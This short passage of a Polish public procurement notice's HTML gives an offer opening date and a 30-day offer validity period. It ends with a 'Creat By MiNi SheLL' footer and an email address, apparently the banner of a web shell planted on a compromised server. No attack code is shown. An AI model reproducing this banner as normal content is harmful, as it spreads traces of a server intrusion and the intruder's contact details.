dedykowanej zamówieniu”</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2024-03-12 11:15</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal"> 30 dni </span></h3>

Creat By MiNi SheLL
Email: jattceo@gmail.com